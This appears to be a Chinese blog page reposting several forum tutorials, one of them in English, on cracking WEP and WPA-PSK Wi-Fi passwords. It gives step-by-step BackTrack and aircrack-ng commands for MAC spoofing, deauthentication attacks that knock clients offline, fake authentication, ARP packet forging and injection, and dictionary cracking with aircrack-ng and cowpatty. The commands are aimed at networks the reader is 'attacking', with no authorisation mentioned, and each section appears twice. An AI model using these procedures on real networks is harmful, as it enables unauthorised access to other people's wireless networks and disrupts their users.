说了这么多，总结起来其实很简单：对于Atheros芯片来讲，无论你选择wifi0、ath0、ath1还是ath1端口进行破解，假如出现associating狂翻却无法捕获到ivs的现象时，先按Abort停止马上再按Launch开始，即可正常捕获IVS，直到破解成功！
============================================
其实spoonwep2还有一个问题，这个估计是大多人都已知的问题，那就是在搜索信号的时候在shell窗口会出现错误提示，但这个提示并不影响破解的过程。
BT4下的WEP和WPA加密破解[轉貼]
源自：http://www.anywlan.com/bbs/thread-12959-1-1.html
①、WEP加密破解的原理是：使目标AP不断发送广播包，当AP广播时截获IVS数据，我们就是利用这个数据来算出密码。
②、WPA加密破解的原理是：必须在合法客户端在线的情况下主动攻击合法客户端使其掉线，合法客户端掉线后再与AP重新握手即可抓到包含握手信息的数据包，再用密码字典进行暴力破解。
①、WEP加密破解的原理是：使目标AP不断发送广播包，当AP广播时截获IVS数据，我们就是利用这个数据来算出密码。
②、WPA加密破解的原理是：必须在合法客户端在线的情况下主动攻击合法客户端使其掉线，合法客户端掉线后再与AP重新握手即可抓到包含握手信息的数据包，再用密码字典进行暴力破解。
SpoonWep，bt3下的GUI，傻瓜式破解WEP密码方法[轉貼]
摘自：http://www.anywlan.com/bbs/viewthread.php?tid=11047
1.查看所要攻击的AP的BSSID与频道
新建一个SHELL 键入
airodump-ng -w 123 eth1
记录下AP的BSSID和频道
123为保存的文件名这里不重要，eth1为自己网卡的端口自己可以用ifconfig查看
2.打开spoonwep
新建一个shell，键入spoonwep
一会spoonwep的GUI就会弹出来
3.开始破解
在Victim MAC 后输入要破解的AP的BSSID
下面的CLIENT可不写
选择好频道
在net card 里选好自己网卡的端口
在lunch后选择好需要的攻击模式
第一个就是 我们平时输入指令的-3攻击
第二个则是我们平时用的-2
第三个是-4
第四个是-5攻击
和平时破解一样，先前如果没有客户端的话可以选择-2
其他的几项攻击随意
全部设定好以后按LAUNCH...
接下来你就好去看电视了，因为接下来是全自动的
（需要一提的是，这里的第四个选项可能就是-5攻击可能有点小问题，因为我用的时候并没有马上发包，因此自己新建了一个shell 人为的进行了一次-1攻击，这样他就立刻发包了..）
1.查看所要攻击的AP的BSSID与频道
新建一个SHELL 键入
airodump-ng -w 123 eth1
记录下AP的BSSID和频道
123为保存的文件名这里不重要，eth1为自己网卡的端口自己可以用ifconfig查看
2.打开spoonwep
新建一个shell，键入spoonwep
一会spoonwep的GUI就会弹出来
3.开始破解
在Victim MAC 后输入要破解的AP的BSSID
下面的CLIENT可不写
选择好频道
在net card 里选好自己网卡的端口
在lunch后选择好需要的攻击模式
第一个就是 我们平时输入指令的-3攻击
第二个则是我们平时用的-2
第三个是-4
第四个是-5攻击
和平时破解一样，先前如果没有客户端的话可以选择-2
其他的几项攻击随意
全部设定好以后按LAUNCH...
接下来你就好去看电视了，因为接下来是全自动的
（需要一提的是，这里的第四个选项可能就是-5攻击可能有点小问题，因为我用的时候并没有马上发包，因此自己新建了一个shell 人为的进行了一次-1攻击，这样他就立刻发包了..）
BackTrack2下破解无线WPA-PSK加密实战[轉貼]
轉自：http://www.anywlan.com/bbs/viewthread.php?tid=6620
ifconfig -a 察看当前网卡 这里我就使用USB网卡为例，可以看到有一个名为rausb0的网卡，状态是未载入
可以使用如Kismet、Airosnort等工具来扫描当前无线网络的AP，若使用Kismet的话，可以看到该软件很清晰地给出AP频道、流量及加密状况，这里就不再抓图了。 然后，我们需要将网卡激活成monitor模式，才可以进行后续的破解，命令如下：
airmon-ng start rausb0
然后输入下列命令开始嗅探并抓包 airodump-ng -w ciw.cap --channel 6 rausb0 ，这里ciw.cap就是我设置的抓包文件名
为了便于WPA握手验证包的获取，必须进行Deauth验证攻击，这个对于采用WPA验证的AP攻击都会用到，可以迫使AP重新与客户端进行握手验证，从而使得截获成为可能。命令如下 aireplay-ng -0 10 -a AP's MAC rausb0 或者 aireplay-ng -0 10 -a AP's MAC -h Client's MAC rausb0 解释一下：-0指的是采取Deautenticate攻击方式，后面为发送次数，-a后面跟上要入侵的AP的MAC地址，-h建议还是使用，效果会更好，这个后面跟的是监测到的客户端MAC地址，如上图中显示的，最后是指定USB无线网卡
这里注意，Deauth攻击往往并不是一次攻击就成功，为确保成功截获需要反复进行，需要说明的是，攻击期间很可能会导致该AP的其它无线客户端无法正常上网即断网频繁，而且对于一些低端AP严重会导致其无线功能假死，无法ping通，需重起
哈哈 下来，建立破解WPA-PSK所需的字典，...的工具有很多，这里鉴于篇幅不再深究，大家可自行建立。呵呵，输入：zcat /pentest/password/dictionaries/wordlist.txt.Z > password.txt 接下来，将字典cp回当前目录下，就可以同步开启aircrack-ng来进行同步破解了，命令如下：
aircrack-ng -w password.txt ciw.cap这里-w是字典破解模式，password.txt就是刚才建立的字典，后面是我们即时保存的那个捕获到WPA验证的抓包文件，回车后等待就可破开
破解时间取决于密码难易程度，字典包含程度，内存及CPU等，一般来说，破解WEP加密的时间最快可在1分钟左右，但破解WPA-PSK除非字典确实很对应，最快的1分钟内即可，但绝大多数情况下都是要花少则20分钟，多则数小时。如上图就花费了40分钟，毕竟，不是所有人都使用类似test、admin123之类密码的。 除了AirCrack-ng，这里也可以使用Cowpatty进行WPA-PSK的破解，如下： 使用Ethereal，WireShark之类嗅探工具打开之前抓取的包含WPA握手的cap文件，使用eapol进行过滤，可看到抓取的Key数据
然后就可使用Cowpatty配合字典进行破解了，具体参数如下： cowpatty -f passd.txt -r wpa.cap -s AP’sSSID -v 解释一下：这里-f是字典破解模式，passd.txt为字典，-r后面是刚另存的WPA验证的抓包文件，-s后面跟的是监测到AP的ESSID，最后-v是显示详细过程
ifconfig -a 察看当前网卡 这里我就使用USB网卡为例，可以看到有一个名为rausb0的网卡，状态是未载入
可以使用如Kismet、Airosnort等工具来扫描当前无线网络的AP，若使用Kismet的话，可以看到该软件很清晰地给出AP频道、流量及加密状况，这里就不再抓图了。 然后，我们需要将网卡激活成monitor模式，才可以进行后续的破解，命令如下：
airmon-ng start rausb0
然后输入下列命令开始嗅探并抓包 airodump-ng -w ciw.cap --channel 6 rausb0 ，这里ciw.cap就是我设置的抓包文件名
为了便于WPA握手验证包的获取，必须进行Deauth验证攻击，这个对于采用WPA验证的AP攻击都会用到，可以迫使AP重新与客户端进行握手验证，从而使得截获成为可能。命令如下 aireplay-ng -0 10 -a AP's MAC rausb0 或者 aireplay-ng -0 10 -a AP's MAC -h Client's MAC rausb0 解释一下：-0指的是采取Deautenticate攻击方式，后面为发送次数，-a后面跟上要入侵的AP的MAC地址，-h建议还是使用，效果会更好，这个后面跟的是监测到的客户端MAC地址，如上图中显示的，最后是指定USB无线网卡
这里注意，Deauth攻击往往并不是一次攻击就成功，为确保成功截获需要反复进行，需要说明的是，攻击期间很可能会导致该AP的其它无线客户端无法正常上网即断网频繁，而且对于一些低端AP严重会导致其无线功能假死，无法ping通，需重起
哈哈 下来，建立破解WPA-PSK所需的字典，...的工具有很多，这里鉴于篇幅不再深究，大家可自行建立。呵呵，输入：zcat /pentest/password/dictionaries/wordlist.txt.Z > password.txt 接下来，将字典cp回当前目录下，就可以同步开启aircrack-ng来进行同步破解了，命令如下：
aircrack-ng -w password.txt ciw.cap这里-w是字典破解模式，password.txt就是刚才建立的字典，后面是我们即时保存的那个捕获到WPA验证的抓包文件，回车后等待就可破开
破解时间取决于密码难易程度，字典包含程度，内存及CPU等，一般来说，破解WEP加密的时间最快可在1分钟左右，但破解WPA-PSK除非字典确实很对应，最快的1分钟内即可，但绝大多数情况下都是要花少则20分钟，多则数小时。如上图就花费了40分钟，毕竟，不是所有人都使用类似test、admin123之类密码的。 除了AirCrack-ng，这里也可以使用Cowpatty进行WPA-PSK的破解，如下： 使用Ethereal，WireShark之类嗅探工具打开之前抓取的包含WPA握手的cap文件，使用eapol进行过滤，可看到抓取的Key数据
然后就可使用Cowpatty配合字典进行破解了，具体参数如下： cowpatty -f passd.txt -r wpa.cap -s AP’sSSID -v 解释一下：这里-f是字典破解模式，passd.txt为字典，-r后面是刚另存的WPA验证的抓包文件，-s后面跟的是监测到AP的ESSID，最后-v是显示详细过程
Ubuntu下无客户端无线WEP加密破解实战讲解[轉貼]
原文出處：http://www.anywlan.com/bbs/viewthread.php?tid=6706&highlight=Ubuntu%CF%C2%CE%DE%BF%CD%BB%A7%B6%CBWEP%BC%D3%C3%DC%C6%C6%BD%E2%CA%B5%D5%BD
ifconfig -a
察看当前网卡
这里我就使用USB网卡为例，可以看到有一个名为rausb0的网卡，状态是未载入，这里先不要载入，先将MAC地址修改成需伪造的任意MAC地址，
输入macchanger –m 00:11:22:33:44:55 rausb0
-m后跟要伪造的MAC，之后再跟要修改的网卡名即可，这里我们将该USB网卡MAC修改成00:11:22:33:44:55
然后再载入网卡，输入：
ifconfig -a rausb0 up来载入USB网卡驱动
我们可以使用如Kismet、Airosnort等工具来扫描当前无线网络的AP，
然后，我们需要将网卡激活成monitor模式，才可以进行后续的破解，命令如下：
airmon-ng start rausb0 3，这里这个3就是我们发现的AP的频道，然后输入下列命令开始抓包
airodump-ng -w test.cap --channel 3 rausb0
下来，就可以进行FakeAuth攻击，这种攻击就是专门在预攻击无线接入点AP没有客户端活动甚至不存在Client的情况下使用的。具体命令如下：
aireplay-ng -1 1 -e AP’s ESSID -a AP’s MAC -h FakeMAC rausb0
这里-1指的就是采用FakeAuth攻击模式，后面跟延迟；-e后面跟AP的ESSID，-a后面设置AP的MAC，-h后面则是前面伪造的MAC，最后是无线网卡
与此同时，为了IVs（初始化向量）的获取，必须进行ArpRequest注入式攻击，这个很重要，可以有效提高抓包数量及破解速度，命令如下
aireplay-ng -3 -b AP's MAC -h Client's MAC -x 1024 rausb0
-3指的是采取ArpRequest注入攻击方式，-b后面跟上要入侵的AP的MAC地址，-h后面跟的是监测到的客户端MAC地址，这里我们使用刚才伪造的客户端MAC，至于-x 1024指的是定义每秒发送数据包数量，这个值可以小一些，但最高1024就可以了，这里我使用默认，最后是指定USB无线网卡
可以看到，ARPrequest注入攻击非常有效，可结合上图airodump的内容一起察看，会发现数据包的数量递增加快。接下来，就可以同步开启aircrack-ng来进行同步破解了，命令如下：
aircrack-ng -x -f 2 test-01.cap
这里-x是暴力破解模式，-f指的是启用密码复杂度为2 ，后面是我们即时保存的那个抓包文件
ifconfig -a
察看当前网卡
这里我就使用USB网卡为例，可以看到有一个名为rausb0的网卡，状态是未载入，这里先不要载入，先将MAC地址修改成需伪造的任意MAC地址，
输入macchanger –m 00:11:22:33:44:55 rausb0
-m后跟要伪造的MAC，之后再跟要修改的网卡名即可，这里我们将该USB网卡MAC修改成00:11:22:33:44:55
然后再载入网卡，输入：
ifconfig -a rausb0 up来载入USB网卡驱动
我们可以使用如Kismet、Airosnort等工具来扫描当前无线网络的AP，
然后，我们需要将网卡激活成monitor模式，才可以进行后续的破解，命令如下：
airmon-ng start rausb0 3，这里这个3就是我们发现的AP的频道，然后输入下列命令开始抓包
airodump-ng -w test.cap --channel 3 rausb0
下来，就可以进行FakeAuth攻击，这种攻击就是专门在预攻击无线接入点AP没有客户端活动甚至不存在Client的情况下使用的。具体命令如下：
aireplay-ng -1 1 -e AP’s ESSID -a AP’s MAC -h FakeMAC rausb0
这里-1指的就是采用FakeAuth攻击模式，后面跟延迟；-e后面跟AP的ESSID，-a后面设置AP的MAC，-h后面则是前面伪造的MAC，最后是无线网卡
与此同时，为了IVs（初始化向量）的获取，必须进行ArpRequest注入式攻击，这个很重要，可以有效提高抓包数量及破解速度，命令如下
aireplay-ng -3 -b AP's MAC -h Client's MAC -x 1024 rausb0
-3指的是采取ArpRequest注入攻击方式，-b后面跟上要入侵的AP的MAC地址，-h后面跟的是监测到的客户端MAC地址，这里我们使用刚才伪造的客户端MAC，至于-x 1024指的是定义每秒发送数据包数量，这个值可以小一些，但最高1024就可以了，这里我使用默认，最后是指定USB无线网卡
可以看到，ARPrequest注入攻击非常有效，可结合上图airodump的内容一起察看，会发现数据包的数量递增加快。接下来，就可以同步开启aircrack-ng来进行同步破解了，命令如下：
aircrack-ng -x -f 2 test-01.cap
这里-x是暴力破解模式，-f指的是启用密码复杂度为2 ，后面是我们即时保存的那个抓包文件
atheros 无线网卡破无客户端WEP加密全解[轉貼]
原文出處:http://www.anywlan.com/bbs/viewthread.php?tid=6791&highlight=atheros%2B%CE%DE%CF%DF%CD%F8%BF%A8%C6%C6%CE%DE%BF%CD%BB%A7%B6%CBWEP%BC%D3%C3%DC%C8%AB%BD%E2
Monitor Mode
The first thing to do is boot up backtrack, basically by booting to a CD like you normally would, if you can't figure this out, ask down below, or go use google. login to backtrack under root (password 'toor'), and then type "startx" into the command line to start out GUI.
Sweet, now we are running *nix, and we can start the good stuff. Open up a command line, but clicking on the icon that looks like one on the bottom next to the 'start' type thingy (let me know if I get to technical Smile )
Now, we need to enter this into the command line;
Code:
$ airmon-ng start wifi0 6
**starts wifi0 on channel 6, change for the channel of the network you are attacking, use kismet for this, not covered in this tutorial**
$ wlanconfig ath0 destroy
$ ifconfig ath1 up
$ iwconfig ath1 mode monitor 6
Sweet, now we have our card in monitor mode, and we can move onto bigger and better things.
Start up Airodump and getting some info ready
ok, lets start airodump so we can get some info out of it, and then we can just leave it running.
Code:
$ airodump-ng --ivs --write bob --channel 6 ath1
**basically heres what each thing means;
--ivs= only write the weak IV's, not every packet
--write= the prefix of the file we are writing to, so bob.ivs
--channel= the channel to scan on
ath1= our network device**
Now that airodump is running, we need to snag a couple pieces of information from it, 1) The MAC address of the AP we are attacking, it'll be in the first column. 2) the essid of the network, i.e. "linksys", or something similar.
Now, open up a new terminal (DON"T CLOSE AIRODUMP). type this line in;
Code:
$ export AP=mac_of_ap
Now we also have to get our mac address; this is easy in backtrack just type in the following;
Code:
$ macchanger --show ath1
**your output here**
export MAC=your_mac_address
This basically just stored those as variables, so you don't have to type them a bunch of times in the coming steps.
Getting everything ready
Basically what we are going to do to the network, is fake authorize ourselves using aireplay. Then using the same program, we are going to grab some peices of packets out of the replies given by fakeauth, and use those to create an arp reply packet with packetforge, to inject into the network to create IV's, so we can crack the key! Whew, lets get started!
First we need to set up, but NOT run our fake auth attack;
Code:
$ aireplay-ng -1 0 -e linksys -a $AP -h $MAC ath1
so, we are running aireplay attack 1, with no delay, linksys is the essid of the network we are attacking, -a is the MAC of the AP we are attacking, and -h is our MAC address. Don't run this yet, we will soon enough.
Open up another command line, so we can get ready to sniff out the packets we need. Enter the following;
Code:
$ aireplay-ng -5 -b $AP -h $MAC
Cool, step 1 of 2 is done for getting ready to create IV's, next we have to sniff a packet, and then create one of our own. So run the aireplay -5 command first, it will start to sniff the network, then run the first command. Eventually the -5 will find a packet that it can use, and it will ask you if you want to use it, say yes (type y and press enter). Now you can cancel the first command (stop it from fake auth'ing over and over) by pressing ctrl-c. Leave the window open.
Now, after we told aireplay-ng -5 yes, it should have created a .xor file. In the output, the name of it should be there. The line looks like this;
Code:
Saving Keystream in fragment-0215-124336.xor
**yours will be different**
Now, using this .xor file we can create an arp-reply package which we can inject to create weak IV's. So in the same window we ran the aireplay-ng -5 command, type in the following;
Code:
$ packetforge-ng -0 -a $AP -h $MAC -k 255.255.255.255 -l 255.255.255.255 -y your_.xor_file.xor -w arp-request
That will generate what we need, now we can run the final injection command that will inject the arp-request packets. Enter the following;
Code:
aireplay-ng -2 -r arp-request ath1
*you will have to say yes again btw*
Now you get to watch your #data column in airodump (you didn't close it did you?) skyrocket! Wait a few minutes, and when you have 100k packets (the #data column, 1 mil for 128 bit) run the following command to crack the key!
Code:
$ aircrack-ng -n 64 -b $AP *.ivs
**note, if its 128 bit, change 64 to 128**
There ya go! You have cracked WEP when there are no clients on the network!
Monitor Mode
The first thing to do is boot up backtrack, basically by booting to a CD like you normally would, if you can't figure this out, ask down below, or go use google. login to backtrack under root (password 'toor'), and then type "startx" into the command line to start out GUI.
Sweet, now we are running *nix, and we can start the good stuff. Open up a command line, but clicking on the icon that looks like one on the bottom next to the 'start' type thingy (let me know if I get to technical Smile )
Now, we need to enter this into the command line;
Code:
$ airmon-ng start wifi0 6
**starts wifi0 on channel 6, change for the channel of the network you are attacking, use kismet for this, not covered in this tutorial**
$ wlanconfig ath0 destroy
$ ifconfig ath1 up
$ iwconfig ath1 mode monitor 6
Sweet, now we have our card in monitor mode, and we can move onto bigger and better things.
Start up Airodump and getting some info ready
ok, lets start airodump so we can get some info out of it, and then we can just leave it running.
Code:
$ airodump-ng --ivs --write bob --channel 6 ath1
**basically heres what each thing means;
--ivs= only write the weak IV's, not every packet
--write= the prefix of the file we are writing to, so bob.ivs
--channel= the channel to scan on
ath1= our network device**
Now that airodump is running, we need to snag a couple pieces of information from it, 1) The MAC address of the AP we are attacking, it'll be in the first column. 2) the essid of the network, i.e. "linksys", or something similar.
Now, open up a new terminal (DON"T CLOSE AIRODUMP). type this line in;
Code:
$ export AP=mac_of_ap
Now we also have to get our mac address; this is easy in backtrack just type in the following;
Code:
$ macchanger --show ath1
**your output here**
export MAC=your_mac_address
This basically just stored those as variables, so you don't have to type them a bunch of times in the coming steps.
Getting everything ready
Basically what we are going to do to the network, is fake authorize ourselves using aireplay. Then using the same program, we are going to grab some peices of packets out of the replies given by fakeauth, and use those to create an arp reply packet with packetforge, to inject into the network to create IV's, so we can crack the key! Whew, lets get started!
First we need to set up, but NOT run our fake auth attack;
Code:
$ aireplay-ng -1 0 -e linksys -a $AP -h $MAC ath1
so, we are running aireplay attack 1, with no delay, linksys is the essid of the network we are attacking, -a is the MAC of the AP we are attacking, and -h is our MAC address. Don't run this yet, we will soon enough.
Open up another command line, so we can get ready to sniff out the packets we need. Enter the following;
Code:
$ aireplay-ng -5 -b $AP -h $MAC
Cool, step 1 of 2 is done for getting ready to create IV's, next we have to sniff a packet, and then create one of our own. So run the aireplay -5 command first, it will start to sniff the network, then run the first command. Eventually the -5 will find a packet that it can use, and it will ask you if you want to use it, say yes (type y and press enter). Now you can cancel the first command (stop it from fake auth'ing over and over) by pressing ctrl-c. Leave the window open.
Now, after we told aireplay-ng -5 yes, it should have created a .xor file. In the output, the name of it should be there. The line looks like this;
Code:
Saving Keystream in fragment-0215-124336.xor
**yours will be different**
Now, using this .xor file we can create an arp-reply package which we can inject to create weak IV's. So in the same window we ran the aireplay-ng -5 command, type in the following;
Code:
$ packetforge-ng -0 -a $AP -h $MAC -k 255.255.255.255 -l 255.255.255.255 -y your_.xor_file.xor -w arp-request
That will generate what we need, now we can run the final injection command that will inject the arp-request packets. Enter the following;
Code:
aireplay-ng -2 -r arp-request ath1
*you will have to say yes again btw*
Now you get to watch your #data column in airodump (you didn't close it did you?) skyrocket! Wait a few minutes, and when you have 100k packets (the #data column, 1 mil for 128 bit) run the following command to crack the key!
Code:
$ aircrack-ng -n 64 -b $AP *.ivs
**note, if its 128 bit, change 64 to 128**
There ya go! You have cracked WEP when there are no clients on the network!
BT3下破解共享密钥认证的WEP密码[轉貼]
原文出處:http://www.anywlan.com/bbs/viewthread.php?tid=8368&highlight=BT3%CF%C2%C6%C6%BD%E2%B9%B2%CF%ED%C3%DC%D4%BF%C8%CF%D6%A4%B5%C4WEP%C3%DC%C2%EB
ifconfig –a
ifconfig –a wifi1 down
macchanger –m 00:1a:73:c5:31:e0 wifi1
这个命令中攻击用无线网卡的MAC必须用冒号隔开，这个命令以后对MAC的操作就不需要再用冒号隔开了，直接输数字和字母就可以了（十六进制）。
其中需要注意的就是这个伪装的MAC必须与AP的无线客户端相同，要不然很难成功，至少我是这样的。
ifconfig –a wifi1 up(加载攻击用无线网卡)
airmon-ng start wifi1 13
上面的13代表的是无线AP所工作的频道，2.4G WIFI用频率的最高频道为14频道。
准备工作完毕以后我们就可以开始了。
首先我们先开始收集ivs包。
相应的命令为：
airodump-ng – –ivs –w check – –bssid 00131004e526 –c 13 ath2
--ivs 表示只收集ivs包，
-w 后面表示收集ivs包所生成的文件名，但最后往往会在文件名后加上－01、－02等等，
--bssid 表示AP的MAC，这样做的好处就是只收集与这个MAC相对应的AP的ivs包，
-c 后面跟的AP的频道数。
这一步做完我们就可以开始正式的攻击了。
相应的攻击命令为：
aireplay-ng -0 1 –a 00131004e526 –c 001a73c5-31e0 ath2
-0 表示对无线客户端进行认证攻击，使无线客户端断线重连，以获得握手包。
1
表示攻击的次数，一般顺利的话1次就够了，不顺利的话攻击无数次都不成功，建议大家在纯的BT3下进行，VM下很难获得，我在VM做了N次，用WUSB54G V4只获得过一次握手包。
-a 后面跟的是AP的MAC，
-c 后面跟的所要攻击的无线客户端的MAC，记住这个参数一定是要-c，不能是-h哦。
攻击成功后会在airodump-ng的窗口的右上角出现捕获握手包的提示，它所保存的文件是以AP的MAC命名的XOR文件，注意与后面构建ARP包所必须的XOR文件相区别。
然后就是进行虚假认证攻击，相应的命令为：
aireplay-ng -1 0 –e LINKSYS –a 00131004e526 –y check-01-00-13-10-04-e5-26.xor ath2
-1 表示虚假认证攻击，
0 表示攻击延时，
-e 表示AP的ESSID，
-a 表示AP的MAC，
-y 表示捕获的握手包所生成的文件名。
看图中提示好像攻击只成功了一半，challenge是失败的，但是依然可以构建arp包，并成功进行注入攻击破解WEP密码。而且攻击会不断进行，我是用Ctrl+c来停止的。
然后就要开始进行－5攻击了，相应的命令为：
Aireplay-ng -5 –b 00131004e526 –h 001a73c531e0 ath2
出现“ Use this packet?”提示后输入“y”并回车。出现下面的画面就表示成功获得了构建arp包所必须的xor文件
获得xor文件以后我们就可以构建arp包了，相应的命令为：
packetforge-ng -0 –a 00131004e526 –h 001a73c531e0 –k 255.255.255.255 –l 255.255.255.255 –y fragment-0215-195944.xor –w arp
-l 是大写字母L的小写，不是1哦，
-y 后面跟的是构建arp包所必须的xor文件，
-w 后面跟的是构建的arp包所生成的文件名。
这一步以后我们就可以进行让DATA猛涨的注入式攻击了，相应的命令为：
aireplay-ng -2 –r arp –x 1024 ath2
-2 就是注入式攻击
-r 后面跟的是arp包文件名，
-x 定义所发送的攻击包的大小，最大为1024，默认为512，以大家可以稳定发送攻击包的大小为准，根据无线网卡的不同而不同。
大家可以看到一分钟的时间DATA数就从2万多增长到6万多了。
其实只要DATA数到大概5万的时候就可以开启实时破解了，相应的命令为:
aircrack-ng -n 128 *.ivs
ifconfig –a
ifconfig –a wifi1 down
macchanger –m 00:1a:73:c5:31:e0 wifi1
这个命令中攻击用无线网卡的MAC必须用冒号隔开，这个命令以后对MAC的操作就不需要再用冒号隔开了，直接输数字和字母就可以了（十六进制）。
其中需要注意的就是这个伪装的MAC必须与AP的无线客户端相同，要不然很难成功，至少我是这样的。
ifconfig –a wifi1 up(加载攻击用无线网卡)
airmon-ng start wifi1 13
上面的13代表的是无线AP所工作的频道，2.4G WIFI用频率的最高频道为14频道。
准备工作完毕以后我们就可以开始了。
首先我们先开始收集ivs包。
相应的命令为：
airodump-ng – –ivs –w check – –bssid 00131004e526 –c 13 ath2
--ivs 表示只收集ivs包，
-w 后面表示收集ivs包所生成的文件名，但最后往往会在文件名后加上－01、－02等等，
--bssid 表示AP的MAC，这样做的好处就是只收集与这个MAC相对应的AP的ivs包，
-c 后面跟的AP的频道数。
这一步做完我们就可以开始正式的攻击了。
相应的攻击命令为：
aireplay-ng -0 1 –a 00131004e526 –c 001a73c5-31e0 ath2
-0 表示对无线客户端进行认证攻击，使无线客户端断线重连，以获得握手包。
1
表示攻击的次数，一般顺利的话1次就够了，不顺利的话攻击无数次都不成功，建议大家在纯的BT3下进行，VM下很难获得，我在VM做了N次，用WUSB54G V4只获得过一次握手包。
-a 后面跟的是AP的MAC，
-c 后面跟的所要攻击的无线客户端的MAC，记住这个参数一定是要-c，不能是-h哦。
攻击成功后会在airodump-ng的窗口的右上角出现捕获握手包的提示，它所保存的文件是以AP的MAC命名的XOR文件，注意与后面构建ARP包所必须的XOR文件相区别。
然后就是进行虚假认证攻击，相应的命令为：
aireplay-ng -1 0 –e LINKSYS –a 00131004e526 –y check-01-00-13-10-04-e5-26.xor ath2
-1 表示虚假认证攻击，
0 表示攻击延时，
-e 表示AP的ESSID，
-a 表示AP的MAC，
-y 表示捕获的握手包所生成的文件名。
看图中提示好像攻击只成功了一半，challenge是失败的，但是依然可以构建arp包，并成功进行注入攻击破解WEP密码。而且攻击会不断进行，我是用Ctrl+c来停止的。
然后就要开始进行－5攻击了，相应的命令为：
Aireplay-ng -5 –b 00131004e526 –h 001a73c531e0 ath2
出现“ Use this packet?”提示后输入“y”并回车。出现下面的画面就表示成功获得了构建arp包所必须的xor文件
获得xor文件以后我们就可以构建arp包了，相应的命令为：
packetforge-ng -0 –a 00131004e526 –h 001a73c531e0 –k 255.255.255.255 –l 255.255.255.255 –y fragment-0215-195944.xor –w arp
-l 是大写字母L的小写，不是1哦，
-y 后面跟的是构建arp包所必须的xor文件，
-w 后面跟的是构建的arp包所生成的文件名。
这一步以后我们就可以进行让DATA猛涨的注入式攻击了，相应的命令为：
aireplay-ng -2 –r arp –x 1024 ath2
-2 就是注入式攻击
-r 后面跟的是arp包文件名，
-x 定义所发送的攻击包的大小，最大为1024，默认为512，以大家可以稳定发送攻击包的大小为准，根据无线网卡的不同而不同。
大家可以看到一分钟的时间DATA数就从2万多增长到6万多了。
其实只要DATA数到大概5万的时候就可以开启实时破解了，相应的命令为:
aircrack-ng -n 128 *.ivs
訂閱：
文章 (Atom)
